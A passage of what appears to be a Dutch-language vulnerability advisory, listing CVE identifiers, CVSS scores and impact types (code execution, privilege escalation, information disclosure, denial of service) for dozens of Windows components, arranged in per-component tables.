7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              